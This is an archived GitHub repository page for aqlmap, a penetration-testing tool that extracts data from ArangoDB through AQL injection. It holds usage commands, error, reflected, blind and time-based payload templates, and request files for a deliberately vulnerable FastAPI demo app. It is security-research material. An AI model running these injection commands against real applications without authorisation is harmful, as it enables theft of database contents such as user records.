

aqlmap

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README.md

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aqlmap

A command-line tool to extract information from ArangoDB through AQL (ArangoDB Query Language) injection vulnerabilities.

For more information, see Anvil's blog post [Exploiting AQL Injection Vulnerabilities in ArangoDB](#).

Overview

`aqlmap` is a specialized tool designed for security researchers and penetration testers to exploit AQL injection flaws in web applications using ArangoDB as their database backend. The tool supports multiple extraction techniques and provides several options for fine-tuned exploitation.

Features

- **Multiple Extraction Techniques:**
 - **Error-based:** Exploits verbose error messages to extract data
 - **Reflected:** Extracts data from successful responses (union-based style)
 - **Blind:** Boolean-based extraction using response pattern matching
 - **Time-based:** Measures response delays to extract information
- **Database Enumeration:**
 - Extract database metadata (name, user, version)
 - List all collections
 - Count items in collections
 - Dump collection contents
- **Flexible Payload Injection:**
 - Custom prefixes and suffixes for injection
 - Multiple encoding formats (JSON, URL-encoded, HTML-encoded, plaintext)
 - Support for HTTP proxies
 - Option to disable SSL/TLS certificate verification

Installation

Prerequisites

- Python 3.7 or higher
- pip (Python package manager)

From Source

```
git clone https://github.com/anvilsecure/aqlmap.git
cd aqlmap
pip install -e .
```

This installs `aqlmap` as a command-line tool that you can run from anywhere.

Quick Start

1. Create a Request File

Create a file containing the HTTP request you want to test (e.g., `request.txt`):

```
GET /api/search?q=test HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Accept: application/json
```

2. Run aqlmap

```
# Extract database metadata using error-based technique (default)
aqlmap -r request.txt -p q --db-info

# List all collections
aqlmap -r request.txt -p q --collections

# Dump collection contents
aqlmap -r request.txt -p q --collection users --dump
```

Usage Guide

Core Parameters

Required Arguments

```
-r, --request FILE      HTTP request file (required)
-p, --param PARAM_NAME  Parameter name to inject (required)
```

Database Operations

```
--db-info      Extract database metadata (name, user, version)
--collections   List all collection names in the database
--count        Count items in a collection (requires --collection)
--dump         Dump items from a collection (requires --collection)
-c, --collection NAME  Collection name (used with --count and --dump)
--start INT     Start position for dumping items (0-based)
--stop INT      Stop position for dumping items (inclusive)
```

Extraction Techniques

```
--technique {error|reflected|blind|time}
           Extraction technique to use (default: error)
```

Technique Details:

- **error** (Default): Uses AQL `FAIL()` function with markers to extract data from error messages

```
aqlmap -r request.txt -p q --db-info --technique error
```

- **reflected**: Extracts data from successful responses without error messages

```
aqlmap -r request.txt -p q --db-info --technique reflected
```

- **blind**: Boolean-based extraction requiring response pattern matching

```
aqlmap -r request.txt -p q --db-info --technique blind \
--string "SUCCESS" --not-string "FAILED"
```

Parameters:

- `--string TEXT`: String to match when query evaluates to True
- `--not-string TEXT`: String to match when query evaluates to False
- **time**: Measures response delays to extract information

```
aqlmap -r request.txt -p q --db-info --technique time --delay 2.0
```

Parameters:

- `--delay SECONDS` : Delay in seconds for time-based extraction (default: 1.0, supports decimals like 0.5)

Injection Control

```
--prefix STRING      String to prepend before the AQL payload (e.g., "\" or '')
--suffix STRING      String to append after the AQL payload (e.g., ' or ""')
--input-encoding {json|urlencoded|plaintext}
                        Encoding format for payloads (default: json)
--output-encoding {json|plaintext|html}
                        Encoding format for responses (default: json)
```

Network Options

```
-u, --url BASE_URL      Base URL to use (overrides host from request file)
--proxy PROXY_URL       HTTP/HTTPS proxy (e.g., http://127.0.0.1:8080)
--no-verify-ssl         Disable SSL/TLS certificate verification
```

Other Options

```
-v, --verbose           Enable verbose output
```

Examples

Refer to the `examples` directory to run a self-hosted vulnerable application and exploit it. In addition, below are some examples of how to use the tool with different arguments.

Example 1: Extract Database Metadata

```
aqlmap -r request.txt -p search_query --db-info
```

Output:

```
[*] Validating output encoding with canary test...  
[+] Encoding validation passed  
[*] Extracting database metadata...
```

```
[+] Database Metadata:  
  Database: aql-injectable-db  
  Username: root  
  Version: 3.12.5
```

Example 2: List All Collections

```
aqlmap -r request.txt -p id --collections
```

Output:

```
[*] Validating output encoding with canary test...  
[+] Encoding validation passed  
[*] Extracting collection names...
```

```
[+] Collections (10):  
  - _analyzers  
  - _appbundles  
  - _apps  
  - _aqlfunctions  
  - _frontend  
  - _graphs  
  - _jobs  
  - _queues  
  - external_users  
  - internal_users
```

Example 3: Dump Collection Data

```
aqlmap -r request.txt -p product_id --collection products --dump --start 0 --stop 5
```

Example 4: Use Reflected Extraction

```
aqlmap -r request.txt -p q --db-info --technique reflected
```

Example 5: Use Time-Based Blind Extraction

```
aqlmap -r request.txt -p id --collections --technique time --delay 1.5 -v
```

Example 6: Use Boolean-Based Blind Extraction

```
aqlmap -r request.txt -p username --db-info --technique blind --string "Valid user" --not-string "Invalid user"
```

Example 7: Custom Injection with Prefix/Suffix

If the injection point requires additional payloads, use prefix and suffix:

```
aqlmap -r request.txt -p query --db-info --prefix "' OR " --suffix " AND '2'='1"
```

Example 8: With HTTP Proxy and Verbose Output

```
aqlmap -r request.txt -p q --collections -v --proxy http://127.0.0.1:8080
```

Request File Format

The request file should contain a valid HTTP request. Example:

```
GET /api/search?q=test HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Connection: close
```

For requests with a body (e.g., `POST`, `PUT`, etc):

```
POST /api/query HTTP/1.1
Host: target.example.com
Content-Type: application/json
Content-Length: 23

{"search":"test value"}
```

Supported ArangoDB Versions

- Tested with ArangoDB 3.12.5 and 3.12.7-2.
- Most of the newer and older versions should also be supported.

How It Works

Error-Based Extraction

Uses the `FAIL()` function to force error messages:

```
FAIL(CONCAT("aqlmap-begin", CURRENT_DATABASE(), "aqlmap-end"))
```

The tool extracts data from the error response between the markers.

Reflected Extraction

Combines payloads directly in the response without errors:

```
CONCAT("aqlmap-begin", CURRENT_DATABASE(), "aqlmap-end")
```

Blind Extraction

Uses boolean logic with response pattern matching:

```
IF(condition, string_that_appears_in_true_response, string_in_false_response)
```

Time-Based Extraction

Uses conditional sleep injection:

```
(condition ? FAIL(SLEEP(1.5)) : 0)
```

The tool measures response time to determine if the condition is true.

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing for vulnerabilities.

License

GPL-3.0-or-later

Contributing

Contributions are welcome! Please feel free to submit pull requests or open issues for bugs and feature requests.

`examples/aql-injectable-app/README.md`

Blob `0b06870c4650`, 1885 bytes, at commit `8c6a58f356f3`.

AQL Injection Vulnerable Application

An intentionally vulnerable application demonstrating multiple ArangoDB AQL injection attack techniques. Mainly implemented to demonstrate `aqlmap` capabilities, but also for security research, manual testing, and educational purposes.

Overview

This application implements several FastAPI APIs affected by intentional AQL injection vulnerabilities. The vulnerabilities are implemented using different injection points, parameter encodings, and error handling mechanisms to showcase various exploitation techniques and real-world scenarios.

API Summary

The following table shows all supported APIs and how they can be exploited using the most suitable technique and what are their input and output encodings, respectively.

Endpoint	Technique	Input encoding	Output encoding
<code>POST /auth/login</code>	Error-based	JSON	JSON / Plain
<code>GET /users/role</code>	Reflected	URL-encoded	JSON / HTML
<code>GET /users/is_admin</code>	Blind	URL-encoded	JSON
<code>GET /users/time_based</code>	Time-based	URL-encoded	None
<code>GET /telemetry</code>	Error-based	URL-encoded	None

The default FastAPI Swagger UI is also available: `http://localhost:8000/docs`

Setup and Execution

Prerequisites

- Python 3.8+ (older versions might be also supported)
- ArangoDB running on `http://localhost:8529` (see `config.py`). For example:

```
docker pull arangodb
docker run -e ARANGO_ROOT_PASSWORD=arangodb -p 8529:8529 --name arango -d arangodb
```

Usage

1. Install dependencies

```
pip install -r requirements.txt
```

1. Start the server:

```
python main.py
```

The service will be available at `http://localhost:8000`

examples/aql-injectable-app/requirements.txt

Blob `01835dea482d`, 85 bytes, at commit `8c6a58f356f3`.

python-arango==8.2.3 fastapi==0.123.9 uvicorn==0.38.0 bcrypt==5.0.0 pydantic==2.12.5

examples/request_blind.txt

Blob `7d1148dd2e3e`, 87 bytes, at commit `8c6a58f356f3`.

GET /users/is_admin?source=internal_users&username=user1 HTTP/1.1 Host: 127.0.0.1:8000

examples/request_error_source.txt

Blob `49449dca0f97`, 198 bytes, at commit `8c6a58f356f3`.

POST /auth/login HTTP/1.1 Host: 127.0.0.1:8000 Accept: application/json Content-Type: application/json Connection: close

{ "source": "\$source", "username": "username", "password": "user123" }

examples/request_error_username.txt

Blob `ed64a68a24b5`, 206 bytes, at commit `8c6a58f356f3`.

POST /auth/login HTTP/1.1 Host: 127.0.0.1:8000 Accept: application/json Content-Type: application/json Connection: close

{ "source": "internal_users", "username": "\$username", "password": "user123" }

examples/request_reflected_username.txt

Blob `9eb2ba9c945d`, 87 bytes, at commit `8c6a58f356f3`.

GET /users/role?source=internal_users&username=\$username HTTP/1.1 Host: 127.0.0.1:8000

examples/request_reflected_username_html.txt

Blob 3bc148cdebeb, 97 bytes, at commit 8c6a58f356f3.

GET /users/role?source=internal_users&username=\$username&as_html=1 HTTP/1.1 Host: 127.0.0.1:8000

examples/request_timebased_username.txt

Blob 82929ab58da0, 89 bytes, at commit 8c6a58f356f3.

GET /users/time_based?source=internal_users&username=user1 HTTP/1.1 Host: 127.0.0.1:8000

Archived from <https://github.com/anvilsecure/aqlmap>. Rendered offline from the local Markdown copy.